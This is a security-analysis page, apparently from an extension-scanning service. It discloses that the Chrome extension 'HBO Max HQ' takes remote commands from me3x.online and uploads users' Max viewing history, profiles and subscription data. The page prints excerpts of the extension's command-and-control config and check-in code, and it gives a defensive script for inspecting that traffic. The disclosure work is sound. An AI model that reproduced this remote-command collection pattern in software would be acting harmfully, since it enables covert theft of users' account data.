Am I Being Pwned?
Get started

Is HBO Max HQ: change video quality [QVI] safe?

Medium risk

HBO Max HQ collects viewing history, account PII, and subscription data and transmits them to third-party servers under remote command.

The extension's service worker contacts me3x.online on startup to receive commands, then executes them against the user's Max account — collecting continue-watching history, show titles, bookmarks, genres, ratings, and subscription details, which it uploads to me3x.online in batches. Separately, it reads account profile fields (first name, username, territory, region, profile ID) from the Max API and forwards them to metricsmint.quest. The remote command channel also supports fetching live schedule data and arbitrary URLs from the user's session.

TheBestChromeExtensionsv1.0.46Chrome Web Store
45Risk
Who publishes it

HideApp LLC - 96 other listings from the same operator, 14 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
TheBestChromeExtensions
Declared legal entity
HideApp LLC
Registered address
1021 East Lincolnway, Cheyenne, WY 82001, US
Registered contact
HideApp LLC
Website
support.hideapp.info/support/tickets/new

Same store account

37 other listings published from this account, 256k+ users between them. 1 of them carries a finding.

Hulu Ad Skipper100k+MediumDisney Plus Picture in Picture80k+LowHulu Picture In Picture [QVI]20k+LowHBOmax Skipper: skip ads and intros20k+LowHBO Max Picture in Picture [QVI]10k+LowPrime Video Picture In Picture [QVI]10k+Low31 more listings in the relationship graph, on paid plans →

Same operator - 59 listings

Published under a different store account, but sharing the registered address, contact or declared legal entity this one gave the store.

HBO Max Extended: tools to fix HBO [QVI]
same registered contact
4k+Low
Audio Booster for HBO Max [QVI]
same registered contact
2k+Low
Audio Booster for Netflix [QVI]
same registered contact
8k+Low
HBO Max Speeder: adjust playback speed [QVI]
same registered address
10k+Low
UltraWide Streaming: custom ratios [QVI]
same registered address
10k+Low
HBO Max Party: watch HBO together and chat [QVI]
same registered address
6k+Low53 more listings in the relationship graph, on paid plans →

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

thebestchromeextensions.com
Also called by 6 other listings

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

me3x.online remotely directs collection of your Max account data

MediumunwantedCWE-200Dynamic sandbox

While signed in to Max, the background worker polls a server at me3x.online every 5 minutes for commands and URLs, then reads your profiles/subscriptions/watch history, uploading results; a config named the viewing-history API as a target.

What actually happens

You did this

You browse Max (HBO Max) while signed in to your account.

The extension did this

The extension's background worker asks a server it controls, me3x.online, what data to collect, then reads that data from your Max account and uploads it back.

No interaction with the extension is needed. The check-in and collection run automatically while you are on max.com or play.max.com.

What the extension sends to me3x.online on each check-in

  • Max account ID
    urn:hbo:account:GX1aB2c3D4e5F6g7

    The identifier of your Max (HBO Max) account.

  • Max profile ID
    urn:hbo:profile:7d2e9f10-4b8a-4c11-9a3e-22e0c1d4f5a6

    The specific viewer profile selected on your account.

  • Extension user ID
    b41f2c8a-90de-4f3b-8c7e-1a2b3c4d5e6f

    A persistent identifier generated by the extension for your install, letting the server tie every check-in back to the same browser.

  • Country
    US

    The country/region associated with your Max account.

  • Browser language
    en-US

    Your browser's configured language.

  • Distribution / partner ID
    8cdf06a8

    A hardcoded value identifying this extension build to the server. Same for all users.

Captured request

POSThttps://me3x.online/n/max/config

The code that does this

The remote check-in and the server-defined command set, from the shipping source.

Readable version

Hardcoded server config

// Hardcoded remote server. uL is the base for all command traffic.const config = {  Ec: 'https://me3x.online/',  QL: '8cdf06a8',            // distribution / build id  d1: 'https://metricsmint.quest/up',  uL: 'https://me3x.online/n/'   // base route for /max/start, /max/upload, /js/dlog};

Check-in POST to me3x.online

// Sends the account check-in and returns the server's command list.async function fetchCommandsToSend(initData) {  return postPlainJsonRequest(config.uL + 'max/start', initData);}

Commands the server can issue

// The server may instruct the extension to run any of these against// the user's authenticated Max account, then upload the results.const CommandTypes = {  PROFILES: 'profiles',  CONTINUE_WATCHING: 'continue_watching',  GET_URLS: 'get_urls',          // fetch arbitrary server-supplied Max URLs  SUBSCRIPTIONS: 'subscriptions',  GET_LIVE_SCHEDULE: 'get_live_schedule'};

Where the data goes and what the endpoints do

    • me3x.online

    Remote command/config server. Receives check-in (/n/max/start, /config), returns Max API URLs and commands to collect, receives uploaded results (/n/max/upload, /upload-event).

    • metricsmint.quest

    Secondary endpoint referenced in the hardcoded config (d1 = metricsmint.quest/up).

Reproduce it yourself

Run in the extension's service worker DevTools console while signed in to Max. It wraps fetch() to log every request and response to me3x.online, so you can see the check-in payload and the collection commands the server returns without trusting the extension's own logging.

Requires
  • Chrome with Developer mode enabled
  • An active Max sign-in
me3x-checkin-inspector.js · js
// me3x-checkin-inspector.js// Logs all traffic to me3x.online from the extension service worker.(function () {  const origFetch = self.fetch.bind(self);  self.fetch = async function (input, init) {    const url = typeof input === 'string' ? input : input.url;    const isC2 = /me3x\.online/.test(url);    if (isC2 && init && init.body) {      console.log('[ME3X] ->', url, '\n', init.body);    }    const res = await origFetch(input, init);    if (isC2) {      try {        const clone = res.clone();        const text = await clone.text();        console.log('[ME3X] <-', url, '\n', text);      } catch (e) {}    }    return res;  };  console.log('[ME3X_INSPECTOR] installed. Browse Max to capture check-in + command traffic.');})();
How to run it
  1. 1Install the extension and sign in at max.com.
  2. 2Open chrome://extensions, enable Developer mode, click the service worker link.
  3. 3Paste this script into the DevTools console.
  4. 4Browse Max and watch the console for [ME3X] entries.

Where it sends data

Destinations our analysis observed HBO Max HQ: change video quality [QVI] contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • metricsmint.questwidely used

    HBO Max HQ: change video quality [QVI] sends data to metricsmint.quest. A widely used service: 60 other extensions we have analyzed send data here.

  • me3x.onlinewidely used

    HBO Max HQ: change video quality [QVI] sends data to me3x.online. A widely used service: 58 other extensions we have analyzed send data here.

Updated 15 October 2026mhhjhenlaboidpdhhjhhboeinokpohpl